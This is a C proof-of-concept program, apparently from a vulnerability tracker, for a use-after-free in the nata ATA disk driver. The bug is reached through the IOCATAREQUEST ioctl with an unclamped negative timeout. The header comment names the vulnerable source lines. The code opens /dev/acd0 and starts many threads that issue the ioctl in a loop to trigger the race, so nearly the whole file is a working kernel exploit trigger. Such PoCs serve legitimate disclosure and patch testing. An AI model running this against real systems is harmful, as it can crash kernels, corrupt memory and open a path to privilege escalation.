DF-4475 / ata_timeout_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 | /* * DF-4475 PoC: IOCATAREQUEST unclamped negative timeout -> 1-tick * "taskqueue timeout" fallback completes and frees an ata_request that is * still owned by the channel queue / taskqueue -> use-after-free. * * Sink (this file's target): sys/dev/disk/nata/ata-all.c * ata-all.c:488 request->timeout = ioc_request->timeout; (no clamp) * ata-all.c:514-515 kfree(buf); ata_free_request(request); (frees while the * channel may still own it -- see ata-queue.c:144-151) * Fallback: sys/dev/disk/nata/ata-queue.c * ata-queue.c:140-141 lksleep(..., request->timeout * hz * 4) * ata-queue.c:144-151 timeout expiry -> direct ata_completed(request) * (ata_completed never removes the request from ch->ata_queue; the issuer * then frees it -> the channel later begins/finishes a freed request) * * With timeout = -1 the sleep timo is -400 ticks; kern_timeout.c * _callout_setup_quick clamps qtick <= softticks to softticks+1, i.e. the * completion wait times out after ~1 tick while the request is typically * still queued behind other requests. * * Usage: ata_timeout_uaf [nthreads] [iters] [timeout] * Needs root (operator) on /dev/acd0 (ATAPI device on ata1). */ #include <sys/types.h> #include <sys/ioccom.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* mirror of sys/sys/nata.h struct ata_ioc_request (kernel layout, 64 bytes) */ struct ata_ioc_request_poc { union { struct { /* offsets 0,1,8,16 -> size 24 */ unsigned char command; /* 0 */ unsigned char feature; /* 1 */ unsigned long long lba; /* 8 */ unsigned short count; /* 16 */ } ata; struct { /* 16 + 18 = 34 bytes */ char ccb[16]; unsigned char sense[18]; /* struct atapi_sense, packed */ } atapi; } u; /* size 40 (align 8) */ void *data; /* 40 */ int count; /* 48 */ int flags; /* 52 */ int timeout; /* 56 */ int error; /* 60 */ }; #define ATA_CMD_CONTROL 0x01 #define ATA_CMD_READ 0x02 #define ATA_CMD_WRITE 0x04 #define ATA_CMD_ATAPI 0x08 #define POC_IOCATAREQUEST _IOWR('a', 100, struct ata_ioc_request_poc) static int fd; static int timeout_val = -1; static volatile unsigned long nreq, nwarn_seen; static volatile int stop; static void * hammer(void *arg) { struct ata_ioc_request_poc req; unsigned char *buf; unsigned long iter = (unsigned long)(size_t)arg; unsigned long i; buf = malloc(65536); if (buf == NULL) return (NULL); for (i = 0; i < iter && !stop; i++) { memset(&req, 0, sizeof(req)); req.flags = ATA_CMD_READ | ATA_CMD_ATAPI; req.u.atapi.ccb[0] = 0x00; /* TEST UNIT READY */ req.count = 512; /* non-zero: avoid DF-1644 */ req.data = buf; req.timeout = timeout_val; if (ioctl(fd, POC_IOCATAREQUEST, &req) == 0) nreq++; else if (errno != EIO && errno != ENXIO && errno != EBUSY && errno != EFAULT && errno != EINVAL) fprintf(stderr, "ioctl: %s\n", strerror(errno)); if ((i % 64) == 63) usleep(200); /* let the channel drain a bit */ } free(buf); return (NULL); } int main(int argc, char **argv) { pthread_t tid[64]; int nthreads = (argc > 1) ? atoi(argv[1]) : 24; int iters = (argc > 2) ? atoi(argv[2]) : 400; int i; if (argc > 3) timeout_val = atoi(argv[3]); if (nthreads > 64) nthreads = 64; printf("poc: sizeof(req)=%zu ioctl=0x%lx (kernel expects size 64 -> " "0x%x)\n", sizeof(struct ata_ioc_request_poc), (unsigned long)POC_IOCATAREQUEST, 0xc0406164); if (sizeof(struct ata_ioc_request_poc) != 64) { fprintf(stderr, "FATAL: struct mirror wrong size\n"); return (2); } fd = open("/dev/acd0", O_RDONLY); if (fd < 0) { perror("open /dev/acd0"); return (1); } printf("poc: opened /dev/acd0, spawning %d threads x %d iters, " "timeout=%d\n", nthreads, iters, timeout_val); for (i = 0; i < nthreads; i++) pthread_create(&tid[i], NULL, hammer, (void *)(size_t)iters); for (i = 0; i < nthreads; i++) pthread_join(tid[i], NULL); printf("poc: done, %lu ioctls completed\n", nreq); return (0); } |